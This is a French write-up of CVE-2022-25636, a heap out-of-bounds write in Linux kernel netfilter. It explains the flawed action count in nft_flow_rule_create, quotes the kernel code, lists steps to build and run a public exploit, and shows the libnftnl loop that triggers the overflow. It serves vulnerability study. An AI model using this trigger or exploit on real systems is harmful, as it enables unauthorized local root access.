
Analyse technique détaillée et write-up d'exploit pour CVE-2022-25636, une vulnérabilité de débordement de tas (heap overflow) dans netfilter du noyau Linux permettant une élévation de privilèges locale via le heap spraying et une utilisation après libération (UAF).
[toc]
Identifiant de la vulnérabilité : CVE-2022-25636
Produit vulnérable : linux kernel - netfilter
Versions affectées : linux kernel 5.4 ~
Impact : le module noyau netfilter présente une écriture hors limites dans le tas, permettant une élévation de privilèges avec SYS_ADMIN.
La vulnérabilité se trouve dans le module noyau netfilter, le code concerné se situe dans 3 fichiers .ko.
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
Démarrer directement avec qemu pose problème, les modules .ko ne se chargent pas ; utiliser VMware en débogage sur deux machines.
Ubuntu 21.10 permet de remplacer manuellement le noyau :
apt-get install linux-image-5.13.0-30-generic
Retirez ensuite le noyau d'origine et compilez l'exploit :
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
Effet de l'élévation de privilèges (taux de réussite inférieur à 50 %) :

La fonction concernée est nft_fwd_dup_netdev_offload :
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
Lors de l'écriture dans flow->rule->action.entries (cette structure est de longueur variable), aucune vérification des limites du tas n'est effectuée, ce qui conduit à une écriture hors limites d'un entier (4 ou 5) et d'un pointeur.
La fonction est utilisée dans nft_flow_rule_create :
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
//ctx->num_actions 初始化为0 ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {//根据rule数量调用offload
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
On voit que la fonction nft_flow_rule_create alloue la structure flow en fonction du nombre de structures règle transmises depuis l'espace utilisateur, puis les traite. La variable num_actions est utilisée pour compter, mais pendant le comptage, seules les règles portant le flag NFT_OFFLOAD_F_ACTION sont comptées, et la taille de la structure allouée est basée sur ce nombre. Ensuite, lors du traitement via offload, la boucle n'utilise pas num_actions. Elle boucle comme auparavant sur le nombre de règles, mais sans vérifier à nouveau le flag NFT_OFFLOAD_F_ACTION. Autrement dit, lorsque les règles transmises contiennent des règles sans le flag NFT_OFFLOAD_F_ACTION, le nombre d'appels à offload est supérieur au nombre d'entrées flow->rule->action.entries précédemment allouées. Dans offload, la fonction vulnérable nft_fwd_dup_netdev_offload est appelée, ctx->num_actions étant initialisé à 0 est incrémenté à chaque appel, et à la fin ctx->num_actions dépasse la plage du tableau flow->rule->action.entries, provoquant un débordement.
Quelques structures :
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
Pile d'appels :
Référence : https://www.openwall.com/lists/oss-security/2022/02/21/2
Ce courriel explique comment utiliser netfilter avec les bibliothèques C libmnl et libnftnl. Le point clé pour déclencher la vulnérabilité est de savoir si les règles ajoutées portent le flag NFT_OFFLOAD_F_ACTION. Seules les règles créées par nftnl_expr_alloc("immediate"); portent le flag NFT_OFFLOAD_F_ACTION :
for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
L'exploitation n'est pas très stable, mais la technique utilisée est très ingénieuse. La vulnérabilité permet d'écrire un pointeur non contrôlé à un décalage fixe hors limites ; personnellement, je considère que l'exploitation est très difficile. Analysons brièvement la méthode. D'après le code de la vulnérabilité, on sait que chaque écriture hors limites ne peut écrire qu'un entier (id, fixé à 4 ou 5) et un pointeur (*dev), ce pointeur pointant vers la structure struct net_device. Ici, nous nous concentrons uniquement sur l'écriture du pointeur dev :
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
··· ···
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
··· ···
}
Concernant la structure struct flow_rule, comme il s'agit d'une structure de longueur variable, la plage de tailles pouvant être allouées détermine la réussite de l'exploitation.